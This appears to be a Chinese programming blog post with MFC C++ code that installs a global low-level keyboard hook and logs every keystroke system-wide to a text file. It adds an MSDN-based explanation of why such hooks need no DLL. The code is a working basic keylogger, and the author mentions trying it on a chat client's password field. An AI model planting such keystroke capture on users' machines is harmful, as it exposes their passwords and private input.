About ShutDown of Windows(三)

接着 About ShutDown of Windows(二)  继续,将代码继续改进

HHOOK g_Hook;

LRESULT CALLBACK MyKeyHook(
int  code, WPARAM wParam, LPARAM lParam)
{
#if  (_WIN32_WINNT < 0x0400)
/*
 * Structure used by WH_KEYBOARD_LL
 
*/
typedef 
struct  tagKBDLLHOOKSTRUCT {
    DWORD   vkCode;
    DWORD   scanCode;
    DWORD   flags;
    DWORD   time;
    DWORD   dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR 
* LPKBDLLHOOKSTRUCT,  * PKBDLLHOOKSTRUCT;
#endif

    PKBDLLHOOKSTRUCT kbDLLHOOK 
=  (PKBDLLHOOKSTRUCT)lParam;
    
    
const   char   * info  =  NULL;
    
    
if  (wParam  ==  WM_KEYDOWN)
        info 
=   " key down " ;    
    
else   if  (wParam  ==  WM_KEYUP)
        info 
=   " key up " ;
    
else   if  (wParam  ==  WM_SYSKEYDOWN)
        info 
=   " sys key down " ;    
    
else   if  (wParam  ==  WM_SYSKEYUP)
        info 
=   " sys key up " ;

    FILE
*  f  =  fopen( " hook.txt " " a+ " );

    CString strLog;
    strLog.Format(
" %s - vkCode [%04x], [%c] scanCode [%04x]\n " , info, kbDLLHOOK -> vkCode, kbDLLHOOK -> vkCode, kbDLLHOOK -> scanCode);

    fwrite(strLog, 
1 , strLog.GetLength(), f);
    fclose(f);

    
//  always call next hook
     return  CallNextHookEx(g_Hook, code, wParam, lParam);
}      

BOOL CHookTestDlg::OnInitDialog()
{
    CDialog::OnInitDialog();

    
//  Add "About" menu item to system menu.

    
//  IDM_ABOUTBOX must be in the system command range.
    ASSERT((IDM_ABOUTBOX  &   0xFFF0 ==  IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX 
<   0xF000 );

    CMenu
*  pSysMenu  =  GetSystemMenu(FALSE);
    
if  (pSysMenu  !=  NULL)
    {
        CString strAboutMenu;
        strAboutMenu.LoadString(IDS_ABOUTBOX);
        
if  ( ! strAboutMenu.IsEmpty())
        {
            pSysMenu
-> AppendMenu(MF_SEPARATOR);
            pSysMenu
-> AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
        }
    }

    
//  Set the icon for this dialog.  The framework does this automatically
    
//   when the application's main window is not a dialog
    SetIcon(m_hIcon, TRUE);             //  Set big icon
    SetIcon(m_hIcon, FALSE);         //  Set small icon
    
    
//  TODO: Add extra initialization here
#ifndef WH_KEYBOARD_LL
    
#define  WH_KEYBOARD_LL 13
#endif
    
    g_Hook 
=  SetWindowsHookEx(WH_KEYBOARD_LL, MyKeyHook, AfxGetApp() -> m_hInstance,  0 );
    
    
if ( g_Hook  ==  NULL )
        AfxMessageBox(
" Failed to Set Hook " );
    
    
return  TRUE;   //  return TRUE  unless you set the focus to a control
}

已经实现了HOOK键盘消息(题外话:对于普通的程序确实可行,但对于QQ2009的PwdEdit显示出来的东西是不对的,明显QQ2009的PwdEdit对消息加密过)

用 SysCheck 工具查看,这个EXE也并没有注入到其它进程

MSDN的解释
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

         一般情况下,全局消息钩子要依赖于一个DLL才能够正常工作。

但实际上不是这样的。有某些全局钩子可以不依赖于任何DLL而正常工作的。这些钩子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。为什么这些钩子可以不依赖于DLL而正常工作呢?我们可以从MSDN中得到答案,MSDN中对于这四种钩子都这样的描述“This hook is called in the context of the thread that installed it.”,翻译成中文意思是钩子函数的调用是在安装钩子的线程上下文中进行的,说得更明白些,意思就是这些钩子是在哪个线程当中安装的,其钩子函数就在哪个线程中执行。所以使用这四种钩子是达不到代码注入的效果的,当然也就可以不依赖于任何DLL了。MSDN中只对个别钩子指出了必须还是没有必要使用DLL。



你可能感兴趣的:(About ShutDown of Windows(三))